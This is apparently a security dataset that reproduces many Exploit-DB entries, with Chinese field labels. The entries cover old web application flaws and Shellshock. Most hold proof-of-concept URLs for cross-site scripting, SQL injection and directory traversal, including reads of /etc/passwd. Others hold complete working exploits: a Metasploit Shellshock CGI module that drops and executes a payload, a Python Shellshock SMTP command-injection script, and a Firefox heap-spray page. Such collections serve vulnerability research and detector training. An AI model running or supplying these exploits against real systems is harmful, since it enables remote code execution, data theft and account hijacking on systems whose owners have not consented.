QLWD/code_shield huggingface dataset:
标题: IBM Tivoli Access Manager for E-Business - '/ibm/wpm/rule?method' Cross-Site Scripting EDB-ID: 34915 CVE: 2010-4120 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2010-10-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/44382/info
        
IBM Tivoli Access Manager for e-business is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
        
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.
        
IBM Tivoli Access Manager for e-business 6.1.0 is vulnerable

http://www.example.com/ibm/wpm/rule?method=props%3Cscript%3Ealert%28%22xss%22%29%3C/script%3E URL: https://www.exploit-db.com/exploits/34915
标题: IBM Tivoli Access Manager for E-Business - '/ibm/wpm/acl?method' Cross-Site Scripting EDB-ID: 34908 CVE: 2010-4120 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2010-10-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/44382/info
 
IBM Tivoli Access Manager for e-business is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.
 
IBM Tivoli Access Manager for e-business 6.1.0 is vulnerable. 

http://www.example.com/ibm/wpm/acl?method=props%3Cscript%3Ealert%28%22xss%22%29%3C/script%3E URL: https://www.exploit-db.com/exploits/34908
标题: IBM Tivoli Access Manager for E-Business - '/ibm/wpm/webseal?method' Cross-Site Scripting EDB-ID: 34917 CVE: 2010-4120 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2010-10-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/44382/info
          
IBM Tivoli Access Manager for e-business is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
          
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.
          
IBM Tivoli Access Manager for e-business 6.1.0 is vulnerable

http://www.example.com/ibm/wpm/webseal?method=props%3Cscript%3Ealert%28%22xss%22%29%3C/script%3E URL: https://www.exploit-db.com/exploits/34917
标题: PHP Scripts Now Riddles - '/riddles/list.php?catid' SQL Injection EDB-ID: 34903 CVE: 2009-2891 类型: WEBAPPS 平台: PHP 发布日期: 2009-08-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/44309/info
 
PHP Scripts Now Riddles is prone to an SQL-injection vulnerability and a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.
 
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
http://www.example.com/list.php?pagenum=0&catid=4+AND%20SUBSTRING(@@version,1,1)=5 TRUE
http://www.example.com/list.php?pagenum=0&catid=4+AND%20SUBSTRING(@@version,1,1)=4 FALSE URL: https://www.exploit-db.com/exploits/34903
标题: Radvision Scopia - '/entry/index.jsp' Cross-Site Scripting EDB-ID: 34904 CVE: 2009-2965 类型: WEBAPPS 平台: PHP 发布日期: 2009-08-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/44316/info

Radvision Scopia is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Versions prior to Radvision SD 7.0.100 are vulnerable. 

http://www.example.com/scopia/entry/index.jsp?page=play%3c%2fsCrIpT%3e%3csCrIpT%3ealert("document.cookie")%3c%2fsCrIpT%3e URL: https://www.exploit-db.com/exploits/34904
标题: W-Agora 4.2.1 - 'search.php?bn' Cross-Site Scripting EDB-ID: 34906 CVE: 2010-4868 类型: WEBAPPS 平台: PHP 发布日期: 2010-10-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/44370/info
 
w-Agora is prone to a local file-include vulnerability and a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.
 
An attacker can exploit the local file-include vulnerability using directory-traversal strings to view and execute local files within the context of the webserver process. Information harvested may aid in further attacks.
 
The attacker may leverage the cross-site scripting issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.
 
w-Agora 4.2.1 and prior are vulnerable. 

http://www.example.com/news/search.php3?bn=[xss] URL: https://www.exploit-db.com/exploits/34906
标题: Bash CGI - 'Shellshock' Remote Command Injection (Metasploit) EDB-ID: 34895 CVE: 2014-7910 2014-7227 2014-7196 2014-7169 2014-62771 2014-6271 2014-3671 2014-3659 类型: WEBAPPS 平台: CGI 发布日期: 2014-10-06 漏洞利用脚本: ##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##


require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Shellshock Bashed CGI RCE',
      'Description'    => %q{
          This module exploits the shellshock vulnerability in apache cgi. It allows you to
        excute any metasploit payload you want.
      },
      'Author'         =>
        [
            'Stephane Chazelas', # vuln discovery
            'Fady Mohamed Osman' # Metasploit module f.othman at zinad.net
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2014-6271' ]
        ],
      'Payload'      =>
        {
          'BadChars' => "",
        },
        'Platform' => 'linux',
        'Arch'       => ARCH_X86,
        'Targets'        =>
        [
          [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]
        ],
        'DefaultTarget'  => 0,
        'DisclosureDate' => 'Aug 13 2014'))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The CGI url', '/cgi-bin/test.sh']) ,
        OptString.new('FILEPATH', [true, 'The url ', '/tmp'])
      ], self.class)
  end

  def exploit
    @payload_name = "#{rand_text_alpha(5)}"
    full_path = datastore['FILEPATH'] + '/' + @payload_name
    payload_exe = generate_payload_exe
    if payload_exe.blank?
      fail_with(Failure::BadConfig, "#{peer} - Failed to generate the ELF, select a native payload")
    end
    peer = "#{rhost}:#{rport}"
    print_status("#{peer} - Creating payload #{full_path}")
    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => datastore['TARGETURI'],
      'agent'    => "() { :;}; /bin/bash -c \"" + "printf " + "\'" + Rex::Text.hexify(payload_exe).gsub("\n",'') + "\'" +  "> #{full_path}; chmod +x #{full_path};#{full_path};rm #{full_path};\""
    })
  end
end URL: https://www.exploit-db.com/exploits/34895
标题: W-Agora 4.2.1 - 'search.php3?bn' Traversal Local File Inclusion EDB-ID: 34905 CVE: 2010-4867 类型: WEBAPPS 平台: PHP 发布日期: 2010-10-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/44370/info

w-Agora is prone to a local file-include vulnerability and a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit the local file-include vulnerability using directory-traversal strings to view and execute local files within the context of the webserver process. Information harvested may aid in further attacks.

The attacker may leverage the cross-site scripting issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

w-Agora 4.2.1 and prior are vulnerable. 

http://www.example.com/news/search.php3?bn=..\1 http://www.example.com/news/search.php3?bn=..\1 URL: https://www.exploit-db.com/exploits/34905
标题: PHP Scripts Now Riddles - '/riddles/results.php?searchQuery' Cross-Site Scripting EDB-ID: 34902 CVE: 2009-2890 类型: WEBAPPS 平台: PHP 发布日期: 2009-08-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/44309/info

PHP Scripts Now Riddles is prone to an SQL-injection vulnerability and a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

http://www.example.com/results.php?searchquery=1<script>alert(308297104532)</script>&search=Search URL: https://www.exploit-db.com/exploits/34902
标题: UloKI PHP Forum 2.1 - 'search.php' Cross-Site Scripting EDB-ID: 34888 CVE: 2009-3202 类型: WEBAPPS 平台: PHP 发布日期: 2009-08-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/44273/info

UloKI PHP Forum is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
http://www.example.com/forum/search.php?term=&quot;&gt;&lt;script&gt;alert(document.cookie);&lt;/script&gt;
UloKI PHP Forum 2.1 is vulnerable; other versions may also be affected. 

http://www.example.com/forum/search.php?term=&quot;&gt;&lt;script&gt;alert(document.cookie);&lt;/script&gt; URL: https://www.exploit-db.com/exploits/34888
标题: PHP Scripts Now (Multiple Products) - 'bios.php?rank' Cross-Site Scripting EDB-ID: 34893 CVE: 2009-2884 类型: WEBAPPS 平台: PHP 发布日期: 2009-07-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/44306/info

Multiple PHP Scripts Now products are prone to an input-validation vulnerability that can be exploited to conduct SQL-injection and cross-site scripting attacks.

Exploiting this vulnerability could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

The following products are affected:

PHP Scripts Now President Bios
PHP Scripts Now World's Tallest Buildings 

http://www.example.com/tallestbuildings/bios.php?rank=%3Cscript%3Ealert(String.fromCharCode(88,83,83))%3C/script%3E
http://www.example.com/presidents/bios.php?rank=%3Cscript%3Ealert(String.fromCharCode(88,83,83))%3C/script%3E URL: https://www.exploit-db.com/exploits/34893
标题: PHP Scripts Now (Multiple Products) - 'bios.php?rank' SQL Injection EDB-ID: 34894 CVE: 2009-2885 类型: WEBAPPS 平台: PHP 发布日期: 2009-07-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/44306/info
 
Multiple PHP Scripts Now products are prone to an input-validation vulnerability that can be exploited to conduct SQL-injection and cross-site scripting attacks.
 
Exploiting this vulnerability could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
The following products are affected:
 
PHP Scripts Now President Bios
PHP Scripts Now World's Tallest Buildings 

http://www.example.com/tallestbuildings/bios.php?rank=1+and+1=null+union+select+1,version(),3,4,5,6,7,8,9--
http://www.example.com/presidents/bios.php?rank=-1%20union%20all%20select%201,version(),3,4,5,6,7,8,9,10%20from%20presidents URL: https://www.exploit-db.com/exploits/34894
标题: Postfix SMTP 4.2.x < 4.2.48 - 'Shellshock' Remote Command Injection EDB-ID: 34896 CVE: 2014-7910 2014-7227 2014-7196 2014-7169 2014-62771 2014-6271 2014-3671 2014-3659 类型: REMOTE 平台: LINUX 发布日期: 2014-10-06 漏洞利用脚本: #!/bin/python
# Exploit Title:  Shellshock SMTP Exploit
# Date: 10/3/2014
# Exploit Author: fattymcwopr
# Vendor Homepage: gnu.org
# Software Link: http://ftp.gnu.org/gnu/bash/
# Version: 4.2.x < 4.2.48
# Tested on: Debian 7 (postfix smtp server w/procmail)
# CVE : 2014-6271

from socket import *
import sys

def usage():
    print "shellshock_smtp.py <target> <command>"

argc = len(sys.argv)
if(argc < 3 or argc > 3):
    usage()
    sys.exit(0)

rport = 25
rhost = sys.argv[1]
cmd = sys.argv[2]

headers = ([
    "To",
    "References",
    "Cc",
    "Bcc",
    "From",
    "Subject",
    "Date",
    "Message-ID",
    "Comments",
    "Keywords",
    "Resent-Date",
    "Resent-From",
    "Resent-Sender"
    ])

s = socket(AF_INET, SOCK_STREAM)
s.connect((rhost, rport))

# banner grab
s.recv(2048*4)

def netFormat(d):
    d += "\n"
    return d.encode('hex').decode('hex')

data = netFormat("mail from:<>")
s.send(data)
s.recv(2048*4)

data = netFormat("rcpt to:<nobody>")
s.send(data)
s.recv(2048*4)

data = netFormat("data")
s.send(data)
s.recv(2048*4)

data = ''
for h in headers:
    data += netFormat(h + ":() { :; };" + cmd)

data += netFormat(cmd)

# <CR><LF>.<CR><LF>
data += "0d0a2e0d0a".decode('hex')

s.send(data)
s.recv(2048*4)

data = netFormat("quit")
s.send(data)
s.recv(2048*4) URL: https://www.exploit-db.com/exploits/34896
标题: Auction RSS Content Script - 'search.php?id' Cross-Site Scripting EDB-ID: 34886 CVE: 2009-3195 类型: WEBAPPS 平台: PHP 发布日期: 2009-08-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/44267/info
 
JCE-Tech Auction RSS Content Script is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
 
http://www.example.com/search.php?id="><script>alert(document.cookie);</script> URL: https://www.exploit-db.com/exploits/34886
标题: JCE-Tech SearchFeed Script - 'index.php' Cross-Site Scripting EDB-ID: 34884 CVE: 2009-3194 类型: WEBAPPS 平台: PHP 发布日期: 2009-08-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/44266/info

JCE-Tech SearchFeed Script is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. 

 http://www.example.com/index.php?search="><script>alert(document.cookie);</script> URL: https://www.exploit-db.com/exploits/34884
标题: Auction RSS Content Script - 'rss.php?id' Cross-Site Scripting EDB-ID: 34885 CVE: 2009-3195 类型: WEBAPPS 平台: PHP 发布日期: 2009-08-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/44267/info

JCE-Tech Auction RSS Content Script is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/rss.php?id="><script>alert(document.cookie);</script> URL: https://www.exploit-db.com/exploits/34885
标题: 4Site CMS 2.6 - 'cat' SQL Injection EDB-ID: 34883 CVE: 2010-4152 类型: WEBAPPS 平台: PHP 发布日期: 2010-10-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/44258/info

4Site CMS is prone to an SQL-injection vulnerability.

An attacker can exploit this issue to carry out unauthorized actions on the underlying database which may compromise the application and may aid in further attacks.

4Site CMS 2.6 is vulnerable; other versions may also be affected.

http://www.example.com/catalog/index.shtml?cat=-1+UNION+SELECT+@@version URL: https://www.exploit-db.com/exploits/34883
标题: DigiOz Guestbook 1.7.2 - 'search.php' Cross-Site Scripting EDB-ID: 34877 CVE: 2009-3189 类型: WEBAPPS 平台: PHP 发布日期: 2009-08-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/44237/info

DigiOz Guestbook is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

DigiOz Guestbook 1.7.2 is vulnerable; other versions may also be affected. 

http://www.example.com/guestbook/search.php
Put: "><script>alert(document.cookie);</script> URL: https://www.exploit-db.com/exploits/34877
标题: Wap-motor - 'image' Directory Traversal EDB-ID: 34873 CVE: 2009-3123 类型: WEBAPPS 平台: PHP 发布日期: 2009-08-27 漏洞利用脚本: source:  https://www.securityfocus.com/bid/44223/info

Wap-motor is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting this issue may allow an attacker to obtain sensitive information that could aid in further attacks.

Versions prior to Wap-motor 18.1 are vulnerable. 

http://www.example.com/gallery/gallery.php?image=%00../profil/Twost.prof%00.gif
http://www.example.com/gallery/gallery.php?image=%00../../template/config.php%00.gif
http://www.example.com/gallery/gallery.php?image=%00../datatmp/adminlist.dat%00.gif URL: https://www.exploit-db.com/exploits/34873
标题: Skybluecanvas 1.1 r237 - 'admin.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 34874 CVE: 2009-2114 类型: WEBAPPS 平台: PHP 发布日期: 2009-10-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/44225/info

SkyBlueCanvas is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

SkyBlueCanvas 1.1 r237 is vulnerable; other versions may also be affected. 

http://www.example.com/skybluecanvas/admin.php?mgroup=pages&mgr=page&objtype=XSS
http://www.example.com/skybluecanvas/admin.php?mgroup=settings&mgr=configuration&objtyp e=">XSS
http://www.example.com/skybluecanvas/admin.php?mgroup=pages&mgr=page&objtype=page&sub=e ditpage&id=" onfocus=alert(0) >
http://www.example.com/skybluecanvas/admin.php?mgroup=pictures&mgr=media&dir=&#039;XSS URL: https://www.exploit-db.com/exploits/34874
标题: Mozilla Firefox SeaMonkey 3.6.10 / Thunderbird 3.1.4 - 'document.write' Memory Corruption EDB-ID: 34881 CVE: 2010-3179 类型: REMOTE 平台: LINUX 发布日期: 2010-10-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/44247/info

Mozilla Firefox, Thunderbird, and Seamonkey are prone to a memory-corruption vulnerability because they fail to adequately validate user-supplied data.

Successful exploits may allow an attacker to execute arbitrary code in the context of the user running an affected application. Failed exploit attempts will result in a denial-of-service condition.

This issue affects versions prior to:

Firefox 3.6.11
Firefox 3.5.14
Thunderbird 3.1.5
Thunderbird 3.0.9
SeaMonkey 2.0.9

NOTE: This issue was previously discussed in 44228 (Mozilla Firefox/Thunderbird/SeaMonkey MFSA 2010-64/65/66/67/68/69/71/72 Multiple Vulnerabilities) but has been given its own record to better document it. 

<html>
<head>
<script language="JavaScript" type="Text/Javascript">
    var eip = unescape("%u4141%u4141");
    var string2 = unescape("%u0000%u0000");
    var finalstring2 = expand(string2, 49000000);
    var finaleip = expand(eip, 21000001);
document.write(finalstring2);
document.write(finaleip);
function expand(string, number) {
    var i = Math.ceil(Math.log(number) / Math.LN2),
        result = string;
    do {
        result += result;
    } while (0 < --i);
    return result.slice(0, string.length * number);
}
</script>
</head>
<body>
</body>
</html>
<html><body></body></html> URL: https://www.exploit-db.com/exploits/34881
标题: JCE-Tech PHP Video Script - 'index.php' Cross-Site Scripting EDB-ID: 34887 CVE: 2009-3196 类型: WEBAPPS 平台: PHP 发布日期: 2009-08-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/44269/info

JCE-Tech PHP Video Script is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/index.php?key="><script>alert(document.cookie);</script> URL: https://www.exploit-db.com/exploits/34887
标题: QuarkMail - 'tf' Directory Traversal EDB-ID: 34875 CVE: 2009-3124 类型: WEBAPPS 平台: PHP 发布日期: 2009-08-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/44226/info

QuarkMail is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting this issue may allow an attacker to obtain sensitive information that could aid in further attacks. 

http://www.example.com/cgi-bin/get_message.cgi?sk=tERZ6WI1&fd=inbox&p=1&l=10&max=2&lang=gb&tf=../../../../../../../ etc/passwd%00&id=2&sort=0&read_flag=yes URL: https://www.exploit-db.com/exploits/34875
标题: StandAloneArcade 1.1 - 'gamelist.php' Cross-Site Scripting EDB-ID: 34878 CVE: 2009-3187 类型: WEBAPPS 平台: PHP 发布日期: 2009-08-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/44238/info

StandAloneArcade is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

StandAloneArcade 1.1 is vulnerable; other versions may also be affected. 

http://www.example.com/demo/gamelist.php?cat=1</title><ScRiPt%20%0a%0d>alert(405750665179)%3B</ScRiPt> URL: https://www.exploit-db.com/exploits/34878
标题: E-Gold Game Series: Pirates of The Caribbean - Multiple SQL Injections EDB-ID: 34876 CVE: 2009-3184 类型: WEBAPPS 平台: PHP 发布日期: 2009-08-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/44229/info

E-Gold Game Series: Pirates of The Caribbean is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/demo/caribbean/?y=1 and 1=1&x=1 TRUE
http://www.example.com/demo/caribbean/?y=1 and 1=2&x=1 FALSE URL: https://www.exploit-db.com/exploits/34876
标题: eCardMAX FormXP - 'survey_result.php' Cross-Site Scripting EDB-ID: 34871 CVE: 2009-3598 类型: WEBAPPS 平台: PHP 发布日期: 2009-07-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/44212/info

FormXP is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

FormXP 2007 is vulnerable; other versions may also be affected. 

http://www.example.com/forms/survey_result.php?sid=1>&#039;><ScRiPt%20%0a%0d>alert(407605250012)%3B</ScRiPt> URL: https://www.exploit-db.com/exploits/34871